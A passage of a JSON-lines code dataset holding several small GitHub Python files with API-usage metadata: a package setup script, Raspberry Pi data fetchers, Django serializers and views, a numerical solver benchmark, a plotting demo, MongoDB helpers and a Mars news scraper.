"usage_type": "name"}, {"api_name": "src.implem.ConvolutionalNeuralFabrics.ConvolutionalNeuralFabric", "line_number": 12, "usage_type": "name"}, {"api_name": "torch.nn.ParameterList", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "src.utils.drawers.BSNDrawer.BSNDrawer.get_draw_pos", "line_number": 28, "usage_type": "call"}, {"api_name": "src.utils.drawers.BSNDrawer.BSNDrawer", "line_number": 28, "usage_type": "name"}, {"api_name": "src.utils.drawers.BSNDrawer.BSNDrawer.get_draw_pos", "line_number": 45, "usage_type": "call"}, {"api_name": "src.utils.drawers.BSNDrawer.BSNDrawer", "line_number": 45, "usage_type": "name"}, {"api_name": "src.implem.ConvolutionalNeuralFabrics.Out_Layer", "line_number": 62, "usage_type": "call"}, {"api_name": "src.utils.drawers.BSNDrawer.BSNDrawer.get_draw_pos", "line_number": 67, "usage_type": "call"}, {"api_name": "src.utils.drawers.BSNDrawer.BSNDrawer", "line_number": 67, "usage_type": "name"}, {"api_name": "numpy.inf", "line_number": 78, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 81, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 82, "usage_type": "attribute"}, {"api_name": "torch.nn.Parameter", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 89, "usage_type": "name"}, {"api_name": "torch.torch.Tensor", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.torch", "line_number": 89, "usage_type": "name"}]} {"seq_id": "6092421412", "text": "from setuptools import setup, find_packages\n\n\nREADME = open('README.rst').read()\n\n\nsetup(name=\"tornwamp\",\n author=\"Tatiana Al-Chueyr Martins\",\n author_email=\"tatiana.alchueyr@gmail.com\",\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Environment :: Web Environment',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: Apache Software License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5'\n ],\n download_url = 'http://pypi.python.org/pypi/tornwamp',\n description=u\"WAMP (Web Application Messaging Protocol) utilities\",\n include_package_data=True,\n install_requires=[\"greenlet==0.4.9\", \"greenlet_tornado==1.1.3\", \"tornado>=4.0\", \"enum34\", \"tornadis==0.8.0\", \"six==1.10.0\", \"deprecated==1.2.5\"],\n license=\"Apache License\",\n long_description=README,\n packages=find_packages(),\n tests_require=[\"coverage==4.0.3\", \"nose==1.3.7\", \"pep8==1.7.0\", \"mock==1.0.1\", \"pylint==1.5.4\"],\n url = \"http://github.com/ef-ctx/tornwamp\",\n version=\"2.1.0\"\n)\n", "repo_name": "ef-ctx/tornwamp", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1240, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "71", "api": [{"api_name": "setuptools.setup", "line_number": 7, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 27, "usage_type": "call"}]} {"seq_id": "30453456925", "text": "import os\nimport json\nimport requests\nimport time\n\nimport storage\n\nOPEN_WEATHER_KEY = os.getenv('OPEN_WEATHER_KEY')\nAIRNOW_API_KEY = os.getenv('AIRNOW_API_KEY')\nFINHUB_API_KEY = os.getenv('FINHUB_API_KEY')\n\ndef time_since_last_fetch():\n if \"last_fetch\" in storage.cache:\n return time.time() - float(storage.cache[\"last_fetch\"])\n else:\n return time.time()\n\n\ndef set_last_fetch_time(t):\n storage.cache[\"last_fetch\"] = time.time()\n\n\ndef get_btc_price():\n try:\n print(\"Fetching Bitcoin price from network...\")\n r = requests.get(\n \"http://api.coindesk.com/v1/bpi/currentprice/USD.json\")\n j = r.json()\n btc = float(j[\"bpi\"][\"USD\"][\"rate_float\"])\n print(\"Bitcoin price:\", btc)\n storage.cache[\"btc_usd\"] = btc\n if not \"btc_history\" in storage.cache:\n storage.cache[\"btc_history\"] = []\n storage.cache[\"btc_history\"].append(btc)\n storage.cache[\"btc_history\"] = storage.cache[\"btc_history\"][-480:]\n r.close()\n except RuntimeError as e:\n print(\"HTTP request failed: \", e)\n\n\ndef get_weather():\n try:\n print(\"Fetching weather data from network...\")\n r = requests.get(\n \"http://api.openweathermap.org/data/2.5/weather?id=5383777&units=metric&appid=\" + OPEN_WEATHER_KEY)\n j = r.json()\n temperature = float(j[\"main\"][\"temp\"])\n pressure = float(j[\"main\"][\"pressure\"])\n humidity = float(j[\"main\"][\"humidity\"])\n print(\"Weather:\", temperature, pressure, humidity)\n storage.cache[\"temperature\"] = temperature\n storage.cache[\"pressure\"] = pressure\n storage.cache[\"humidity\"] = humidity\n r.close()\n except RuntimeError as e:\n print(\"HTTP request failed: \", e)\n\n\ndef get_air_quality():\n try:\n print(\"Fetching air quality from AirNow...\")\n r = requests.get(\n \"http://www.airnowapi.org/aq/observation/zipCode/current/?format=application/json&zipCode=94566&distance=25&API_KEY=\" +\n AIRNOW_API_KEY)\n j = r.json()\n # TODO: Verify that doc order is okay. If not look at \"parameter\".\n if len(j) == 2:\n o3 = float(j[0][\"AQI\"])\n pm25 = float(j[1][\"AQI\"])\n elif len(j) == 1:\n o3 = 0\n pm25 = float(j[0][\"AQI\"])\n else:\n o3 = 0\n pm25 = 0\n print(\"AQI:\", o3, pm25)\n storage.cache[\"ozone\"] = o3\n storage.cache[\"pm25\"] = pm25\n if not \"aqi_history\" in storage.cache:\n storage.cache[\"aqi_history\"] = []\n storage.cache[\"aqi_history\"].append(max(o3, pm25))\n storage.cache[\"aqi_history\"] = storage.cache[\"aqi_history\"][-120:]\n r.close()\n except RuntimeError as e:\n print(\"HTTP request failed: \", e)\n\n\n# def get_stock_intraday(sym):\n# try:\n# print(\"Fetching {} stock price from AlphaVantage...\".format(sym))\n# r = requests.get(\n# \"https://www.alphavantage.co/query?function=TIME_SERIES_INTRADAY&symbol=\" +\n# sym +\n# \"&interval=15min&apikey=\" +\n# ALPHAVANTAGE_API_KEY)\n# j = r.json()\n# series = j[\"Time Series (15min)\"]\n# vals = []\n# for t in series:\n# vals.append(float(j[\"Time Series (15min)\"][t][\"4. close\"]))\n# vals.reverse()\n# storage.cache[sym + \"_intraday\"] = vals\n# r.close()\n# except RuntimeError as e:\n# print(\"HTTP request failed: \", e)\n\ndef get_stock_intraday(sym):\n try:\n print(\"Fetching {} stock price from Finhub...\".format(sym))\n r = requests.get(\n \"https://finnhub.io/api/v1/quote?symbol=\" +\n sym +\n \"&token=\" +\n FINHUB_API_KEY)\n j = r.json()\n if sym + \"_intraday\" in storage.cache:\n vals = storage.cache[sym + \"_intraday\"]\n vals = vals[-200:]\n else:\n vals = []\n newval = float(j[\"c\"])\n if len(vals) < 1 or newval != vals[-1]:\n vals.append(newval)\n storage.cache[sym + \"_intraday\"] = vals\n storage.cache[sym + \"_previous\"] = float(j[\"pc\"])\n r.close()\n except RuntimeError as e:\n print(\"HTTP request failed: \", e)\n", "repo_name": "timboldt/epaper-display", "sub_path": "rpi/python/net.py", "file_name": "net.py", "file_ext": "py", "file_size_in_byte": 4239, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.getenv", "line_number": 8, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 9, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 10, "usage_type": "call"}, {"api_name": "storage.cache", "line_number": 13, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 14, "usage_type": "call"}, {"api_name": "storage.cache", "line_number": 14, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 16, "usage_type": "call"}, {"api_name": "storage.cache", "line_number": 20, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 20, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 26, "usage_type": "call"}, {"api_name": "storage.cache", "line_number": 31, "usage_type": "attribute"}, {"api_name": "storage.cache", "line_number": 32, "usage_type": "attribute"}, {"api_name": "storage.cache", "line_number": 33, "usage_type": "attribute"}, {"api_name": "storage.cache", "line_number": 34, "usage_type": "attribute"}, {"api_name": "storage.cache", "line_number": 35, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 44, "usage_type": "call"}, {"api_name": "storage.cache", "line_number": 51, "usage_type": "attribute"}, {"api_name": "storage.cache", "line_number": 52, "usage_type": "attribute"}, {"api_name": "storage.cache", "line_number": 53, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 62, "usage_type": "call"}, {"api_name": "storage.cache", "line_number": 77, "usage_type": "attribute"}, {"api_name": "storage.cache", "line_number": 78, "usage_type": "attribute"}, {"api_name": "storage.cache", "line_number": 79, "usage_type": "attribute"}, {"api_name": "storage.cache", "line_number": 80, "usage_type": "attribute"}, {"api_name": "storage.cache", "line_number": 81, "usage_type": "attribute"}, {"api_name": "storage.cache", "line_number": 82, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 110, "usage_type": "call"}, {"api_name": "storage.cache", "line_number": 116, "usage_type": "attribute"}, {"api_name": "storage.cache", "line_number": 117, "usage_type": "attribute"}, {"api_name": "storage.cache", "line_number": 124, "usage_type": "attribute"}, {"api_name": "storage.cache", "line_number": 125, "usage_type": "attribute"}]} {"seq_id": "10231804257", "text": "\nfrom rest_framework import serializers\nfrom apps.users.models import User\n\n\n\n\n\nclass UserSerializerToken(serializers.ModelSerializer):\n class Meta:\n model = User\n fields = ('username', 'email', 'name', 'last_name')\n\nclass UserSerializer(serializers.ModelSerializer):\n class Meta:\n model = User\n fields = '__all__'\n\n\n def create(self,validated_data):\n user = User(**validated_data)\n user.set_password(validated_data['password'])\n return user\n\n def to_representation(self, instance):\n representation = super().to_representation(instance)\n fields_to_include = ['id', 'username', 'email']\n return {field: representation[field] for field in fields_to_include}\n \n \n\nclass UserListSerializer(serializers.ModelSerializer):\n Model = User\n\n def to_representation(self, instance):\n super().to_representation(instance)\n print(instance)\n return {\n 'id': instance['id'],\n 'username': instance['username'],\n 'email': instance['email']\n }\n", "repo_name": "sebasflorez16/agro-rest", "sub_path": "apps/users/api/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 1087, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 9, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 9, "usage_type": "name"}, {"api_name": "apps.users.models.User", "line_number": 11, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 14, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 14, "usage_type": "name"}, {"api_name": "apps.users.models.User", "line_number": 16, "usage_type": "name"}, {"api_name": "apps.users.models.User", "line_number": 21, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 32, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 32, "usage_type": "name"}, {"api_name": "apps.users.models.User", "line_number": 33, "usage_type": "name"}]} {"seq_id": "19726083848", "text": "import numpy as np\nimport scipy.linalg as sla\nimport time\nimport matplotlib.pyplot as plt\n\ndef sweep(n, a, b, c, f):\n\talpha = np.zeros(n + 1)\n\tbeta = np.zeros(n + 1)\n\tx = np.zeros(n)\n\t\n\tfor i in range(n):\n\t\td = a[i] * alpha[i] + b[i]\n\t\talpha[i + 1] = -c[i] / d\n\t\tbeta[i + 1] = (f[i] - a[i] * beta[i]) / d\n\tx[n - 1] = beta[n]\n\tfor i in range(n - 2, -1, -1):\n\t\tx[i] = alpha[i + 1] * x[i + 1] + beta[i + 1]\n\treturn x\n\nX = np.array(0)\nY = np.array(0)\nY_lib = np.array(0)\nn = int(input())\nshift = int(input())\nwastedTime = 0\n\nwhile wastedTime <= 1:\n\tA = np.zeros((3, n))\n\ta = np.random.rand(n)\n\tb = np.random.rand(n)\n\tc = np.random.rand(n)\n\tf = np.random.rand(n)\n\ta[0], c[n - 1] = 0, 0\n\tfor i in range(n):\n\t\tb[i] = abs(a[i]) + abs(b[i]) + abs(c[i]) + 1\n\t\tA[1][i] = b[i]\n\t\tif i > 0:\n\t\t\tA[2][i] = c[i - 1]\n\t\tif i < n - 1:\n\t\t\tA[0][i] = a[i + 1]\n\tA_lib = np.array(A)\n\tf = np.random.rand(n)\n\tf_lib = np.array(f)\n\tX = np.append(X, n)\n\n\tstart = time.time()\n\tx = sweep(n, a, b, c, f)\n\tprint(x)\n\twastedTime = time.time() - start\n\tprint(wastedTime)\n\tY = np.append(Y, wastedTime)\n\t\n\tstart = time.time()\n\tx_lib = sla.solve_banded((1, 1), A_lib, f_lib)\n\tprint(x_lib)\n\twastedTime_lib = time.time() - start\n\tY_lib = np.append(Y_lib, wastedTime_lib)\n\tn = n + shift\n\nprint(X)\nprint(Y)\nprint(Y_lib)\n\nplt.plot(X, Y)\nplt.plot(X, Y_lib)\nplt.xlabel('matrix size')\nplt.ylabel('sec')\nplt.legend((\"my realization\", \"integrated fuction\"))\nplt.show()\n\n", "repo_name": "NaylyaZh99/numeric_methods", "sub_path": "lab1/sweep.py", "file_name": "sweep.py", "file_ext": "py", "file_size_in_byte": 1420, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.zeros", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 44, "usage_type": "call"}, {"api_name": "time.time", "line_number": 46, "usage_type": "call"}, {"api_name": "time.time", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 51, "usage_type": "call"}, {"api_name": "time.time", "line_number": 53, "usage_type": "call"}, {"api_name": "scipy.linalg.solve_banded", "line_number": 54, "usage_type": "call"}, {"api_name": "scipy.linalg", "line_number": 54, "usage_type": "name"}, {"api_name": "time.time", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}]} {"seq_id": "10970860330", "text": "import matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport time\r\n\r\nclass DynamicUpdate():\r\n plt.ion()\r\n #Suppose we know the x range\r\n min_x = 0\r\n max_x = 2*3.1415926536\r\n min_y = -1.5\r\n max_y = 1.5\r\n\r\n def on_launch(self):\r\n #Set up plot\r\n self.figure, self.ax = plt.subplots()\r\n self.lines1, = self.ax.plot([],[])\r\n self.lines2, = self.ax.plot([],[])\r\n plt.xlabel('radians')\r\n plt.ylabel('amplitude')\r\n plt.title('sin and cos cycle')\r\n #Autoscale on unknown axis and known lims on the other\r\n self.ax.set_autoscaley_on(True)\r\n self.ax.set_xlim(self.min_x, self.max_x)\r\n self.ax.axis(ymin=self.min_y, ymax=self.max_y)\r\n #Other stuff\r\n self.ax.grid()\r\n\r\n def on_running(self, xdata, ydata1, ydata2):\r\n #Update data (with the new _and_ the old points)\r\n self.lines1.set_xdata(xdata)\r\n self.lines1.set_ydata(ydata1)\r\n self.lines2.set_xdata(xdata)\r\n self.lines2.set_ydata(ydata2)\r\n #Need both of these in order to rescale\r\n self.ax.relim()\r\n self.ax.autoscale_view()\r\n #We need to draw *and* flush\r\n self.figure.canvas.draw()\r\n self.figure.canvas.flush_events()\r\n\r\n #Example\r\n def __call__(self):\r\n return\r\n \r\nif __name__ == \"__main__\":\r\n pi = 3.1415926536\r\n d = DynamicUpdate()\r\n d.on_launch()\r\n xdata = []\r\n ydata1 = []\r\n ydata2 = []\r\n\r\n for x in np.arange(0, 2 * pi, pi/90):\r\n xdata.append(x)\r\n ydata1.append((1*np.sin(x)))\r\n ydata2.append((1*np.cos(x)))\r\n d.on_running(xdata, ydata1, ydata2)\r\n time.sleep(0.001)\r\n \r\n\r\n input(\"press any key to continue\")", "repo_name": "msarvinen/python-examples", "sub_path": "plot-dynamic/dynaplot.py", "file_name": "dynaplot.py", "file_ext": "py", "file_size_in_byte": 1733, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.pyplot.ion", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 6, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 56, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 58, "usage_type": "call"}]} {"seq_id": "31072980158", "text": "import pymongo\nfrom utils.nextButton import processManage\nfrom utils.db import mongo_client\n\n\ndef getWebSiteNameList(database):\n myclient = pymongo.MongoClient(\"mongodb://localhost:27017\")\n dblist = myclient.list_database_names()\n if \"cloud_academic\" not in dblist:\n print(\"数据库不存在！\")\n return 0\n mydb = myclient[\"cloud_academic\"]\n collist = mydb.list_collection_names()\n res = []\n for str in collist:\n if (str == database):\n mycol = mydb[str]\n else:\n continue\n\n res = mycol.distinct('website_name')\n myclient.close()\n return res\n\n\ndef getColumnList(database, website_name):\n myclient = pymongo.MongoClient(\"mongodb://localhost:27017\")\n dblist = myclient.list_database_names()\n if \"cloud_academic\" not in dblist:\n print(\"数据库不存在！\")\n return 0\n mydb = myclient[\"cloud_academic\"]\n collist = mydb.list_collection_names()\n res = []\n for str in collist:\n if (str == database):\n mycol = mydb[str]\n else:\n continue\n res = mycol.find({\"website_name\": website_name}).distinct('column')\n # print(res)\n myclient.close()\n return res\n\n\ndef getXpathValueList(valuename):\n myclient = pymongo.MongoClient(\"mongodb://localhost:27017\")\n mydb = myclient[\"cloud_academic\"]\n mycol = mydb[\"news_xpath\"]\n ls = []\n for x in mycol.find():\n ls.append(x[valuename])\n return ls\n\n\ndef getAllXpathValueList():\n myclient = pymongo.MongoClient(mongo_client)\n mydb = myclient['cloud_academic']\n content = mydb['news_xpath']\n manage = mydb['news_xpath_manage']\n xpathInfo = processManage(manage)\n data = {}\n for c in content.find():\n for k in c.keys():\n if k not in xpathInfo.keys():\n continue\n if xpathInfo[k]['type'] == 1:\n continue\n if k not in data.keys():\n data[k] = set()\n data[k].add(c[k])\n for k in data.keys():\n data[k] = list(data[k])\n return data\n", "repo_name": "defender-dhy/News-data-acquisition-system", "sub_path": "mongo/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 2094, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pymongo.MongoClient", "line_number": 7, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 27, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 47, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 57, "usage_type": "call"}, {"api_name": "utils.db.mongo_client", "line_number": 57, "usage_type": "argument"}, {"api_name": "utils.nextButton.processManage", "line_number": 61, "usage_type": "call"}]} {"seq_id": "38110076648", "text": "from django.shortcuts import render, get_object_or_404, redirect, reverse\nfrom .forms import ReviewForm\nfrom .models import Reviews\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\n\n\ndef reviews(request):\n reviews = Reviews.objects.filter(status=1)\n template = 'reviews.html'\n context = {'reviews': reviews}\n return render(request, template, context)\n\n\n@login_required\ndef add_review(request):\n form = ReviewForm(request.POST, request.FILES)\n if form.is_valid():\n form.instance.name = request.user\n form.save()\n messages.success(request, 'Your review has been added!')\n return redirect(reverse('reviews'))\n else:\n form = ReviewForm()\n template = 'add_review.html'\n context = {'form': form}\n return render(request, template, context)\n\n\n@login_required\ndef delete_review(request, review_id):\n review = get_object_or_404(Reviews, id=review_id)\n review.delete()\n messages.warning(request, 'Your review has been deleted!')\n return redirect(reverse('reviews'))\n\n\n@login_required()\ndef edit_review(request, review_id):\n review = get_object_or_404(Reviews, id=review_id)\n if request.method == 'POST':\n form = ReviewForm(request.POST, request.FILES, instance=review)\n if form.is_valid():\n form.save()\n messages.warning(request, 'Your review has been edited!')\n return redirect(reverse('reviews'))\n else:\n form = ReviewForm(instance=review)\n\n template = 'edit_review.html'\n context = {'form': form,\n 'review': review}\n return render(request, template, context)\n", "repo_name": "ViktorMathe/roxys-cakes", "sub_path": "reviews/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1659, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "models.Reviews.objects.filter", "line_number": 9, "usage_type": "call"}, {"api_name": "models.Reviews.objects", "line_number": 9, "usage_type": "attribute"}, {"api_name": "models.Reviews", "line_number": 9, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 12, "usage_type": "call"}, {"api_name": "forms.ReviewForm", "line_number": 17, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 21, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 21, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 22, "usage_type": "call"}, {"api_name": "django.shortcuts.reverse", "line_number": 22, "usage_type": "call"}, {"api_name": "forms.ReviewForm", "line_number": 24, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 27, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 15, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 32, "usage_type": "call"}, {"api_name": "models.Reviews", "line_number": 32, "usage_type": "argument"}, {"api_name": "django.contrib.messages.warning", "line_number": 34, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 34, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 35, "usage_type": "call"}, {"api_name": "django.shortcuts.reverse", "line_number": 35, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 30, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 40, "usage_type": "call"}, {"api_name": "models.Reviews", "line_number": 40, "usage_type": "argument"}, {"api_name": "forms.ReviewForm", "line_number": 42, "usage_type": "call"}, {"api_name": "django.contrib.messages.warning", "line_number": 45, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 45, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 46, "usage_type": "call"}, {"api_name": "django.shortcuts.reverse", "line_number": 46, "usage_type": "call"}, {"api_name": "forms.ReviewForm", "line_number": 48, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 53, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 38, "usage_type": "call"}]} {"seq_id": "4711897447", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n# Dependencies\nfrom bs4 import BeautifulSoup as bs\nimport requests\nimport pymongo\nimport pandas as pd\nfrom splinter import Browser\nimport time\n\n\n# In[20]:\n#master function\ndef scrape_info():\n executable_path = {'executable_path': 'chromedriver.exe'}\n browser = Browser('chrome', **executable_path, headless=True)\n news_title, news_paragraph=mars_title_p(browser)\n mars_data= {\n # \"mars_titles\": mars_title_p(browser),\n \"news_title\": news_title,\n \"news_paragraph\": news_paragraph,\n \"mars_image\": mars_image(browser),\n \"mars_table\": mars_table(),\n \"mars_hemi_images\": mars_hemis(browser)\n\n }\n return mars_data\n\n# In[3]:\n\n\n# Scrape the [NASA Mars News Site](https://mars.nasa.gov/news/) and collect the latest News Title and Paragraph Text. \ndef mars_title_p(browser):\n url = 'https://mars.nasa.gov/news/'\n browser.visit(url)\n time.sleep(1)\n html = browser.html\n soup = bs(html, \"html.parser\")\n news_title = soup.find('div', class_='content_title').get_text().strip()\n news_p= soup.find(\"div\", class_=\"article_teaser_body\").get_text().strip()\n # mars = {}\n # mars['news_title'] = soup.find('div', class_='content_title').get_text().strip()\n # mars['news_p']= soup.find(\"div\", class_=\"article_teaser_body\").get_text().strip()\n return news_title, news_p\n\n\n\n# Use splinter to navigate the site and find the image url for the current Featured Mars Image and assign the url string \n# to a variable called `featured_image_url`.\ndef mars_image(browser):\n url2 = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars/assets/images/logo_nasa_trio_black@2x.png'\n browser.visit(url2)\n full_image_click= browser.find_by_id('full_image')\n full_image_click.click()\n time.sleep(3)\n browser.click_link_by_partial_text('more info')\n html = browser.html\n soup = bs(html, \"html.parser\")\n# In[22]:\n# Make sure to find the image url to the full size `.jpg` image.\n# Make sure to save a complete url string for this image.\n image_path = soup.find('img', class_='main_image').get('src')\n # featured_image_url\n return 'https://www.jpl.nasa.gov' + image_path\n# image_path\n\n\n# In[7]:\n\n\n# Visit the Mars Facts webpage [here](https://space-facts.com/mars/) and use Pandas to scrape the table containing facts \n# about the planet including Diameter, Mass, etc.\n\ndef mars_table():\n url3 = 'https://space-facts.com/mars/'\n # browser.visit(url3)\n # html = browser.html\n # soup = bs(html, \"html.parser\")\n tables = pd.read_html(url3)\n df=tables[1]\n # df.head()\n renamed_df = df.rename(columns={\n 0: \"Description\",\n 1: \"Value\"\n })\n print (tables)\n return renamed_df.to_html('mars_facts.html')\n\n\n# Visit the USGS Astrogeology site to obtain high resolution images for each of Mar's hemispheres.\n# You will need to click each of the links to the hemispheres in order to find the image url to the full resolution image.\n# Save both the image url string for the full resolution hemisphere image, and the Hemisphere title containing the \n# hemisphere name. Use a Python dictionary to store the data using the keys `img_url` and `title`.\n# In[41]:\n\ndef mars_hemis(browser):\n url4='https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars' \n browser.visit(url4)\n\n hemisphere_image_urls =[]\n\n for i in range(4):\n mars_title_and_images={} \n\n html = browser.html\n soup = bs(html, \"html.parser\")\n\n titles = soup.find_all('h3')\n mars_title_and_images['title']= titles[i].get_text().strip()\n\n image= browser.find_by_tag('h3')[i]\n image.click()\n\n html = browser.html\n soup = bs(html, \"html.parser\")\n\n mars_title_and_images['image_url']= soup.find('li').find('a')['href']\n\n\n hemisphere_image_urls.append(mars_title_and_images)\n browser.back()\n \n return hemisphere_image_urls \n\n# browser.quit()\n\n\n# # In[ ]:\n\n\n# get_ipython().system('jupyter nbconvert --to script scrape_mars.ipynb')\n\n# if __name__ == \"__main__\":", "repo_name": "SMC380013/Web-Scraping-Project", "sub_path": "scrape_mars.py", "file_name": "scrape_mars.py", "file_ext": "py", "file_size_in_byte": 4124, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "splinter.Browser", "line_number": 20, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 40, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 42, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 59, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 62, "usage_type": "call"}, {"api_name": "pandas.read_html", "line_number": 83, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 110, "usage_type": "call"}, {"api_name": 